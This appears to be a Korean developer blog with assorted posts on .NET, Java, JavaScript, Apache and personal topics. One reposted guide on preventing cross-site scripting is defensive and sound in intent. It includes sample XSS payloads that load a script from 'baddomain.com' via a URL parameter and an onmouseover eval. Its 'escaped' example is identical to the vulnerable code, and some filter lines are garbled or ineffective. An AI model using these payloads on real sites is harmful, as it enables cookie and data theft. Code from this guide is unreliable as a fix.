달력

22025  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
[펌] --> http://www.ensimple.net/enSimple/show.aspx?cnum=301&b_id=kb&page=1

[MSTDC][Transaction][TransactionScope] 기본 트랜잭션 관리자와 통신하지 못했습니다
[키워드] MSTDC,Transaction,TransactionScope
[증상]
하나의 레코드 작업 수행시 성공하지만, 여러 레코드를 TransactionScope로 묶어서 처리할 때 DTC 관련 에러 발생 "기본 트랜잭션 관리자와 통신하지 못했습니다......(비슷한 에러)"

[해결]
서버의 MSDTC 설정 확인
로컬의 MSTDC 설정 확인
서로 간에 컴퓨터이름(NetBIOS Name)으로 ping 작동하는지 확인

만일 작동하지 않는다면,
로컬이 도메인에 참여하지 않은 경우, DNS 또는 Hosts 파일을 이용해 로컬 컴퓨터에 대한 레코드 등록하여 서로 간에 ping 작동하도록 함.

로컬이 도메인에 참여한 경우, AD 상에 컴퓨터계정이 존재하는지 확인
(존재하지 않는 경우, 로컬 컴퓨터의 도메인 참여를 다시 수행: 워크그룹을 빠졌다가 다시 도메인에 참여시킴)

그래도 안되면, Windows Firewall 설정이 켜져 있는지 확인 후, 켜져 있으면 끄거나 DTC 서비스에 대해 예외 설정을 한다.

그래도 안되면 DTCPing 유틸리티를 사용하여 RPC 연결에 문제가 없는지 확인 후 조치함.


DTCPing Download



문제해결 MSDN 참조
http://msdn2.microsoft.com/en-us/library/aa561924.aspx

Posted by tornado
|

               
// Reflection 으로 Field 를 찾는다.
 
FieldInfo fieldInfo = null;
Label lbl = null;

fieldInfo = this.GetType().GetField("treatmentLbl_" + i, BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Public);

if(fieldInfo != null){
    lbl = (Label)fieldInfo.GetValue(this);
    lbl.Text = "xxx";
}

Posted by tornado
|

resin.conf에 아래와 같이 추가해주던가....

    <system-property javax.xml.parsers.DocumentBuilderFactory="org.apache.xerces.jaxp.DocumentBuilderFactoryImpl" />
    <system-property javax.xml.parsers.SAXParserFactory="org.apache.xerces.jaxp.SAXParserFactoryImpl" />
    <system-property javax.xml.transform.TransformerFactory="org.apache.xalan.processor.TransformerFactoryImpl" />
    <system-property org.xml.sax.driver="org.apache.xerces.parsers.SAXParser" />


아니면 다음과 같이 리스너를 구현한다.

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;

public class XmlTranslateListener implements ServletContextListener {

 public void contextInitialized(ServletContextEvent arg0) {
 
  System.setProperty("javax.xml.parsers.DocumentBuilderFactory", "org.apache.xerces.jaxp.DocumentBuilderFactoryImpl");
  System.setProperty("javax.xml.parsers.SAXParserFactory","org.apache.xerces.jaxp.SAXParserFactoryImpl");
  System.setProperty("javax.xml.transform.TransformerFactory","org.apache.xalan.processor.TransformerFactoryImpl");
  System.setProperty( "org.xml.sax.driver",  "org.apache.xerces.parsers.SAXParser" );
 }
   

 public void contextDestroyed(ServletContextEvent arg0) {
  // TODO Auto-generated method stub

 }

}

Posted by tornado
|
사용자 삽입 이미지


노란옷이 지우,
빨간색 옷이 민정이

Posted by tornado
|

2004년에 춘천호 원평리 밤나무골에서 찍은 사진...

고기 사진은 다 어디로 가고... 산꼭대기에서 찍은 사진만 남았군~

지금은 거의 거실 장식장에 쳐박혀 있는  Dimage 7i 로 찍었습니다

9월 8일... 인천으로 바다낚시 갑니다. ^^

삼치떼 몰려왔으면 좋겠습니다 ^^ 간간히 전어도 좀 잡히고.. 원투 던진거에는 도다리나 좀 걸려라~ ^^

사용자 삽입 이미지

Posted by tornado
|

펌질 했습니다. ^^

출처 : http://whiteship.tistory.com/986


JavaScript Throw Statement

AJAX/JavaScript : 2007/07/09 13:48



 

참조 : http://www.w3schools.com/js/js_throw.asp

throw문

throw문을 사용하여 예외를 생성할 수 이다. try-catch문과 함께 사용하여 프로그램의 흐름을 제어 할 수 있다.
예외는 문자열, 숫자, Boolean 또는 객체가 될 수 있다.

 문자열 예외를 발생시키는 예제
<html>
<body>
<script type="text/javascript">
var x=prompt("Enter a number between 0 and 10:","")
try
{
if(x>10)
throw "Err1"
else if(x<0)
throw "Err2"
}
catch(er)
{
if(er=="Err1")
alert("Error! The value is too high")
if(er == "Err2")
alert("Error! The value is too low")
}
</script>
</body>
</html>

특이하네요. 자바보다 훨씬 심플하군요.
Posted by tornado
|


getSqlMapClientTemplate().execute(new SqlMapClientCallback() {
    public Object doInSqlMapClient(SqlMapExecutor executor) throws SQLException {
       executor.startBatch();
             
        while(....){
           // job....

        }

         return new Integer( executor.executeBatch()) ;    
    }
   });
Posted by tornado
|

OS 는 솔라리스이고, 메일서버는 sendmail
was 는 resin

메세지를 MimeMessage 로 선언하고 setContent 메서드를 이용해서

HTML 메세지를 넣었다.

허걱..

익셉션 발생...

왜 그러지?? 하고 쳐다보다가 문득 !! 예전에 웹 메일 만들던 생각이 남.

아~~ 맞다... 바디파트에 넣고 하면 되지~~

   Multipart multi = new MimeMultipart();    

   MimeBodyPart mbp = new MimeBodyPart();
  
   mbp.setContent("여기에 내용을 ~~~", "text/html; charset=KSC5601");
  
   multi.addBodyPart(mbp);
  
   msg.setContent(multi);

   Transport.send(msg);


해결...

메일링 보낼때 뭔가 찜찜해서 스레드로 백그라운드에서 메일 전송하게 함 ..

현재로서는 탄탄하게 잘 돌아감.

Posted by tornado
|
[펌] http://forum.java.sun.com/thread.jspa?threadID=247536&messageID=913161


i got the solution for the problem myself
if any one encounter same problem ,

Just change
session = javax.mail.Session.geDefaultInstance(props,auth);


to

session = javax.mail.Session.getInstance(props,auth);
while using in more than one smtps,user,passwords etc in same JRE
bye
Posted by tornado
|

JSP/Servlet 환경에서 다운로드를 사용할 경우는
아래와 같은 순서를 가진다.

1. HttpServletResponse 로 부터 OutStream 을 얻는다.
2. Header, ContentsType 등을 설정한다.
3. FileStream 을 통해 전송될 파일의 스트림을 얻는다.
4. Response 로 부터 얻은 outputStream 에 파일을 쏜다.
5. 열려진 모든 자원을 닫는다.


뭐 다른것들은 괜찮지만  2번 항목에서 환경에 따라 헤더 설정이 틀려진다.
단독 WAS 환경인지, WAS 앞에 Apache 나 IIS 가 있는지 등등..

웬만한 부분에서는 아래와 같은 Header 설정이면 충분하다.

res.setContentType("appliction/octet-stream");
res.setHeader("Accept-Ranges","bytes");
res.setHeader("Content-Transfer-Encoding", "binary;");
res.setHeader("Pragma", "no-cache;");
res.setHeader("Expires", "-1;");

res.setHeader("Content-Disposition", "attachment; filename=" + fileName + ";");



문제는 위 설정으로 zip 파일이나, 다른 파일들은 저장, 열기가 잘 되지만 유독 HWP 파일에서 문제가 생긴다.

다운로드 창까지는 잘 뜨는데, 열기 버튼을 누르면 파일을 찾을 수 없다고 나온다.

저장해서 보면 잘 보이지만 ㅎㅎ

여차저차 해서 헤더에 아래와 같이 추가해줬다.

res.setHeader("Cache-control","private");

잘 된다 ^^

캐시 컨트롤을 private 으로 하겠다는 의미는 전송되는 개체가 공유 캐시에 보관되지 않고 특정 클라이언트만을 대상으로 해야 한다는 말이다.

Posted by tornado
|
http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html


Preventing Cross Site Scripting Attacks

Posted by gmurray71 on September 27, 2006 at 12:01 PM | Comments (9)

Preventing Cross Site Scripting Attacks

Cross site scripting (XSS) is basically using JavaScript to execute JavaScript from an unwanted domain in a page. Such scripts could expose any data in a page that is accessible by JavaScript including, cookies, form data, or content to a 3rd party. Here is how you can prevent your web pages from being exploited on both the client and the server. This is followed with tips on how to avoid vulnerable sites.

  • Escape parameters and User Input - The safest step you can take is to escape all parameters to a page where the parameters are displayed in the content.The same applies for any user input that may be displayed or re-displayed in a web page rendered by a server. The downside is that your users can not provide markup.
  • Remove eval(), javascript, and script from User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to remove eval() and javascript: calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks.
  • Filter User Input on the Server - You should always filter user input that is stored or processed on a server because URLs and GET/POST requests can be created manually.
  • Use Caution with Dynamic Script Injection - Be careful when dynamically injecting external scripts to retrieve JSON based data as you are potentially exposing everything accessible by JavaScript.
  • Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.

Escape Parameters and User Input

This is the classic XSS attack that can open your service or web application up to hackers. By design the site displays a user's id that is passed in as a URL parameter. The following script will take the id and display a welcome message.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
  }
  document.write("Hi " + id);
</script>

A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:

Hi greg

What would happen if instead of "greg" I used the following URL:

index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E

Notice the URL above contains a link to script http://baddomain.com/badscript.js which contains malicious code from a different domain. This script will be evaluated when the page is loaded putting the page and all the data in it at risk.

To prevent from these types of attacks your client code should always escape "<" and ">" parameters that are displayed or evaluated by JavaScript code.

You can do this with a simple line of code as can be seen in the next example.

<script type="text/javascript">
  var start = window.location.href.indexOf("id");
  var stop = window.location.href.length;
  var id = "guest";
  if (start < stop) {
    id = decodeURIComponent(window.location.href.substring(start,stop));
	
  }
  document.write("hi " + id);
</script>

Consider the following containing a form where a user enters a description that will be visible to other users.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    display.innerHTML = description;
  }
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

Seems innocent enough right? Try including the following content in the text area.

<a onmouseover="eval('s=document.createElement(\'script\'); document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse Over Me</a>

A mouseover of the link will cause a script in a badscript.js to be loaded. This script could also pass along cookies or any other information it wanted to as parameters of the "s.src" URL. Unlike the first example where the user would need to click on a bad link this type of attack requires a simple mouseover to load the badscript.js.

So the question now comes to mind: 'How do you protect your web page from being being exploited?'

Along with the parameters you should escape form input. If you plan to allow users to provide their own markup consider the next solution titled Remove eval(), javascript, and script from User Provided Markup.

The following code shows how to escape markup on the client.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description = description .replace(/</g, "&lt;").replace(/>/g, "&gt;");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.

Now that we have looked at how to prevent most attacks the next section focuses on cases where you want to allow users to provide markup that does not contain malicious code.

Remove eval(), javascript:, and script from User Provided Markup

There may be cases where you want to allow a user to add markup such as links or HTML content that is displayed for other users to see. Consider a blog that allows for HTML markup, user provided URLs, HTML comments, or any other markup. The solution would be to filter all markup before it is displayed in a page or before it is sent to a server or service. The following example shows how to allow for some HTML markup while preventing malicious code.

<html>
<head>
<script type="text/javascript">
  function displayName() {
    var description = document.getElementById("description").value;
    var display = document.getElementById("display");
    description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
    description = description.replace(/script(.*)/g, "");    
    description = description.replace(/eval\((.*)\)/g, "");
    display.innerHTML = description;
  } 
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>

The example above removes all eval(), javascript and script references that may be entered in the description field. The replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. You may consider refining the regular expressions to only look in tag attributes for example and to remove full scripts. There are other considerations you should keep in mind when filtering client code such as line breaks, charsets, case sensitivity which are commonly exploited in attacks. As some browsers will allow you to specify JavaScript calls from CSS styles you should also consider searching user provided CSS styles as well.

Filter User Input on the Server

Most of the problems related to cross site scripting are because of poorly designed clients. Servers can also unwillingly become participants in cross domain scripting attacks if they redisplay unfiltered user input. Consider the following example where a hacker manually makes a HTTP POST request to set the homepage URL with the following.

<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>

The URL would end up being stored as is on the server as is and expose any user that clicks on the URL to the JavaScript. The example above seems innocent enough but consider what would happen if in place of an alert('bad') the "javascript" contained malicious code. To prevent such attacks you should filter user input on the server. The following Java example shows how to use regular expression replacement to filter user input.

String description = request.getParameter("description");
description = description.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");

The code above removes eval() calls, javascript: calls, and script references the replacement here is not a perfect as it may replace legitimate uses of the words javascript and script in the body of a document. The code above may be applied using a servlet, servlet filter, or JSF component on all input parameters or on a per parameter basis depending on what how much markup you would like to allow users to provide. You may want refine the regular expressions that filter the content to handle more or consider a Java library built that specializes in removing malicious code.

Use Caution with Dynamic Script Injection

Dynamic script injection to retrieve JSON data (also known as JSONP) can be powerful and useful as it decouples your client from the server of origin. There is still a bit of debate over using JSONP as some consider it as a hack or security hole in JavaScript because when you dynamically include a reference to a 3rd party script you are giving that script full access to everything in your page. That script could go on to inject other scripts or do pretty much whatever it wanted.

If you choose to use JSONP make sure you trust the site for which you are interacting with. There is nothing stopping a JSONP provider from including unwanted script with JSONP data. One alternative would be to provide a proxy service which you can control the output, restrict access to, and can cache as needed.

Avoid XSS Phishing Attacks

This next recommendation focuses on protecting yourself as a user from a site that is vulnerable to cross site scripting attacks.

Phishing attacks, or attacks where what appears to be a valid URL links to a fraudulent web page who's purpose is to collect a users data, are nothing new to the web world. A related attack involves cross site scripting attacks where a URL to a legitimate site that has a cross site scripting vulnerability contains a script reference. Such a link may appear in an email message, blog posting/comment, or other user generated content that contains a URL. Clicking a link to a site containing a cross site scripting vulnerability would cause a 3rd party script to be included along with your request and could expose your password, user id, or any other data. Consider the following example:

<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">See foobar</a>

A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.

It is also wise to always look at carefully at URLs and the URL parameters that are provided with them. URLs will always appear in the status bar of your browser as and you should always look for external script reference. Another solution would be to manually type in links into the URL bar of your browser if a link is suspect.

Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.

While JavaScript based interfaces can be very flexible you need to be very careful with all user provided input whether it be as parameters or form data. Always make sure to escape or filter input on the both the client and server. As a user you should be cautious not to become a victim of a vulnerable site. It's better to be safe than in the news!

What other things do you do to prevent XSS attacks?

Posted by tornado
|

원문 : http://blog.naver.com/jkhljesus?Redirect=Log&logNo=70016617377



여기저기 자료를 참고하며 고생끝에 해결 했네요.. ㅋ

iBatis 의 SqlMaps 를 이용 시 IN 절을 동적으로 생성할 때 처리하는 방법

IN절 이외에도 Dynamic SQL 구문 작성 시 유용할 듯 합니다.


XXX.java
--------------------------------------------------------------------------

List list = new ArrayList();
list.add(id);
list.add(id);


Map map = new HashMap();
map.put("listId",list);

return (Map) sm.getItem("em.ss.board.getBoardDetail", map);

XXX.xml

--------------------------------------------------------------------------

 <!-- CLOB Data 조회를 위한 정의  -->
 <resultMap id="getClobBoardData" class="hmap">
         <result property="TITLE" column="TITLE"/>
        <result property="CONTENT" column="CONTENT" typeHandler="clobHanlder"/>
</resultMap>


<select id="getBoardDetail" parameterClass="map" resultMap="getClobBoardData">
   SELECT  TITLE
               , CONTENT
   FROM TEX_BULLETIN_H
   WHERE ID
     <iterate prepend="IN" property="listId" open="(" close=")" conjunction=",">
       #listId[]#
     </iterate>  
         
</select>


Posted by tornado
|

간만에 들어보는 나이트 위시~ 

나이먹어도 메탈이 좋은건 어쩔수없음 ㅎ




'이것저것 > 음악' 카테고리의 다른 글

Bohemian Rhapsody  (0) 2007.12.04
[국산] SpearGuitar GLADIUS-1  (0) 2007.03.09
[Guitar] Dame Saint t290..  (0) 2007.03.09
추억의 노래. Mr. Zibago - Little Russian  (0) 2007.01.28
Gary Moore - Still got the blues LIVE  (0) 2007.01.28
Posted by tornado
|

아웃룩 메뉴 처럼 만들려고 하다가 혹시나 해서 구글 검색 해봤더니

벌써 만들어 놓으신 분이 계시군요.

출처 : http://www.lucasvd.nl/portfolio.php?id=24


Accordion for Script.aculo.us

Technieken: Javascript

This is a pretty advanced Accordion feature for Scriptaculous. It tries to be as much as the same as the Accordion feature from Mootools, but the original mootools version has still some more features, which I may add in the future.

How to use

Save the code below to accordion.js and put the file in your Scriptaculous directory.

Include the file in your webpage
Code:

<script type="text/javascript" src="js/accordion.js"></script>



Add the HTML for your accordion, for example:
Code:

<div id="accordion">
    <h3>Titlte 1</h3>
    <p>Text 1</p>
   
    <h3>Title 2</h3>
    <p>Text 2</p>
   
    <h3>Title 3</h3>
    <p>Text 3</p>    
</div>



And put just before the tag the Javascript:
Code:

<script type="text/javascript">
new Accordion("div#accordion h3", "div#accordion p");
</script>



Parameter explanation
Parameter 1
A CSS Selector which selects all titles

Parameter 2
A CSS Selector which selects all bodies[/b]

Parameter 3 Optional
A list of options, see below

Options

duration - Sets how long the effect should take

Example:
Code:

<script type="text/javascript">
new Accordion("div#accordion h3", "div#accordion p", {duration: 0.6});
</script>



_____________________________________________

default_open - The index, started at zero, of the body which should be open by default.

Example:
Code:

<script type="text/javascript">
new Accordion("div#accordion h3", "div#accordion p", {default_open: 2});
// Now the third body is open by default
</script>



______________________________________________________

event_trigger - On which event should the body be shown

Example:
Code:

<script type="text/javascript">
new Accordion("div#accordion h3", "div#accordion p", {event_trigger: 'over'});
</script>



Events

OnStart - called before a body is shown
OnFinish - called after a body is shown

Code

<?php // Just for highlighting, don't copy
/**
* Accordion Effect for Script.aculo.us
* Created by Lucas van Dijk
* http://www.lucasvd.nl
*
* Copyright 2007 by Lucas van Dijk
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*/

var Accordion = Class.create();

Accordion.prototype =
{
   
initialize: function(handles, bodys, options)
    {
       
this.options = this._set_options(options);        
       
this.headers = $$(handles);
       
this.bodys = $$(bodys);
        
        if(
this.bodys.length != this.headers.length)
        {
            throw
Error('Number of headers/bodys does not match!');
        }
        
        for(var
i = 0; i < this.headers.length; i++)
        {        
           
Event.observe(this.headers[i], this.options.event_trigger, this.show.bind(this, i));
            
           
this.bodys[i].style.display = "none";
        }
        
       
this.bodys[this.options.default_open].id = "visible";
        
       
this.show(this.options.default_open, true);
    },

   
show: function(index, force)
    {        
        if ((
index >= this.length) || (index < 0))
        {
            throw
Error('Index out of range');
        }
        
        if (
this.bodys[index].id == 'visible')
        {                                 
            if (
typeof force == "boolean")
            {                        
               
this.options.OnStart(index, this.bodys[index]);
                                
               
// Force display the visible object                
               
for(var i = 0; i < this.bodys.length; i++)
                {
                    if(
this.bodys[i].style.display != 'none' && i != index)
                    {
                        new
Effect.SlideUp(this.bodys[i]);
                    }
                }
                
                new
Effect.SlideDown(this.bodys[index]);
            }
        }
        else
        {        
           
this.options.OnStart(index, this.bodys[index]);
                        
           
// Normal change
           
new Effect.Parallel(
                [
                    new
Effect.Fade($('visible')),                
                    new
Effect.BlindUp($('visible')),
                    new
Effect.BlindDown(this.bodys[index]),
                    new
Effect.Appear(this.bodys[index])
                ], {
                   
duration: this.options.duration
               
}
            );
    
            $(
'visible').id = "";
           
this.bodys[index].id = "visible";
        }
        
       
this.options.OnFinish(index, this.bodys[index]);
    },
    
   
_default_options:
    {
       
duration: 0.3,        
       
default_open: 0,
       
event_trigger: 'click',
       
OnStart: function() { },
       
OnFinish: function() { }
    },
    
   
_set_options: function(options)
    {
        if(
typeof options != "undefined")
        {        
            var
result = [];
            for(
option in this._default_options)
            {
                if(
typeof options[option] == "undefined")
                {
                   
result[option] = this._default_options[option];
                }
                else
                {
                   
result[option] = options[option];
                }
            }
        
            return
result;
        }
        else
        {
            return
this._default_options;
        }
    }        
};

Effect.Accordion = Accordion;
Posted by tornado
|


새로 옮긴 회사에서 노트북이 필요하다고 했더니 하나 지급(새로 샀지 뭐...) 해 줬다.

xp 설치가 안되서 울며 겨자먹기로 비스타를 써야한다 ㅜㅜ

지금 개발 디비가 오라클인데, 오라클 클라이언트가 비스타 용이 없다 ㅠㅠ

뭐 이클립스에서 어지간한것은 다 해결이 되니까 별 걱정은 없다.


모델명
XTREME I EDITION  R500-SP73K
프로세서 CPU

Intel Core™2 Duo Processor T7300
2.0GHz / FSB 800MHz

L2 Cache 2MB
메모리 기본메모리 2048MB DDR2 667MHz / Dual Channel Memory
최대메모리 최대 2GB 지원가능 , SODIMM x 2
디스플레이 LCD화면 15.4" WXGA (1280x800) / 1.3M Pixel WabCam
외부화면 24bit 칼라에서 최대 2048 X 1536 해상도 지원
그래픽컨트롤러 nVidia GeForce™ 8400M GS128MB (Turbo Cache지원)
저장장치 HDD 120GB (Intel Turbo Memory 1GB)
FDD 외장형 USB 3.5", 1.44MB FDD (선택사양)
광학드라이브

Super Multi (Dual-Layer)

통신장치 유선통신 10/100/1000Mbps/ Gigabit
무선통신 Intel Next-Gen Wireless-N (Max 135Mbps, 802.11a/g/n)
오디오 SRS WOW HD 스테레오 스피커 / 3W(1.5W x 2)
키보드 한글 Numeric 99Key (Ivory Color)
포인팅 2 button Touchpad with scroll function
I/O포트

USB2.0(High Speedx3), RJ45, RJ11, IEEE1394, Headphone, Mic-in, Line-in, HDMI, S-Video, VGA-out, DC-in

PC 카드 슬롯

PCMCIAx1

멀티미디어 슬롯 5-in-1 (Memory stick™, Memory stick™ Pro, SD, MMC, XD)
파워 배터리 6 Cell 리튬 이온 배터리
AC어댑터 외장형 90와트 (110 ~ 240 VAC, 50 / 60 Hz 프리볼트)
크기(WxHxD) 약 357 x 260 x 28~33mm
무게

약 2.8 kg (배터리 포함시)

운영체제

Windows Vista™ Home Premium(한글)

소프트웨어 제공CD

Recovery Center, Power 2GO, LG Intelligent Update

기본설치

LG SmartCam, Battery Miser, On Screen Display, LG Magnifier

기 타

MS Office 2007 60일 평가판 S/W 포함
커버 패턴 Hi-glossy Blue, 키텍 패턴 Hi-glossy Silver

보증기간 및 A/S 세계 16개국 제한적 1년 무상 서비스 (LG 서비스센타 : 1544-7777)


Posted by tornado
|

CSS 참고할곳

DHTML/CSS 2007. 6. 14. 11:33

'DHTML > CSS' 카테고리의 다른 글

[펌] Internet Explorer CSS bug fixes  (0) 2010.07.05
CSS Layout 공부하기...  (0) 2007.04.18
CSS Tab Designer  (0) 2006.10.09
CSS Navigation Techniques (37 entries).  (0) 2006.09.06
Posted by tornado
|

심심해서 만들어본 간단한 롤오버 메뉴



<html>
 <head>
  <style>
 body {
  margin: 0;
  padding: 0;
  font-size: 0.75em;
  line-height: 1.5em;
  font-family: Dotum, "돋움", sans-serif;
 }

 #navi {
  width: 100%;
  text-align: center;
  background-color: #BBCCCC;
 }

 #navi a{ text-decoration: none; color: #78777C}
 #navi a:hover {
  position:relative;
  z-index:10;
  letter-spacing:0;
  text-decoration: underline;
 }

 #navi span { width: 110px; line-height: 27px;
  line-height:27px;
  cursor:hand;
 }

 #navi ul li a span { width: 110px;}
 #navi a:hover span  { background-color: #A2BFBF;}

  </style>
 </head>

 <body>

  <div id="navi">
   <span><a href=""><span id="naviLink">메뉴 1</span></a></span>
   <span><a href=""><span id="naviLink">메뉴 1</span></a></span>
   <span><a href=""><span id="naviLink">메뉴 1</span></a></span>
   <span><a href=""><span id="naviLink">메뉴 1</span></a></span>
   <span><a href=""><span id="naviLink">메뉴 1</span></a></span>
   <span><a href=""><span id="naviLink">메뉴 1</span></a></span>
  </div>
 </body>
</html>





Posted by tornado
|
헐... 쌍수전사 무섭네...
Posted by tornado
|

음... 프로젝트 하나 생성하고..
프로젝트에 System.Management 를 참조시킨다.

그리고...

using System;
using System.Management; 

로 사용할 네임스페이스 지정하고...

메서드를 하나 만든담에

아래와 같이 코딩한다..


        ManagementObject disk = new ManagementObject("win32_logicaldisk.deviceid=\"c:\"");

        disk.Get();

        Console.WriteLine("Logical Disk Size = " + disk["Size"] + " bytes");  
        Console.WriteLine("Logical Disk FreeSpace = " + disk["FreeSpace"] + " bytes"); 

------------------------------------------------------------

참고 : http://msdn2.microsoft.com/en-us/library/aa394173.aspx




Posted by tornado
|

jsp 에서 이미지 표현하는 태그는 전부다 <c:url .../> 로 해놧더니 rewrite 되어서

이미지 파일 뒤에 *.jpg;jsessionid=.... 이 전부 붙어서 로그를 걸러내지 못한다.

해서리... 앞에 포스트인 [펌] Apache access_log 로그 관련 내용및 관리법 를 응용하여

httpd.conf 에 아래와 같이 설정하였다.

SetEnvIfNoCase Request_URI "/.(gif|jpg|png|css|js|java)$;jsessionid=.*" do_not_log

로그파일이 깨끗해짐 ^^

Posted by tornado
|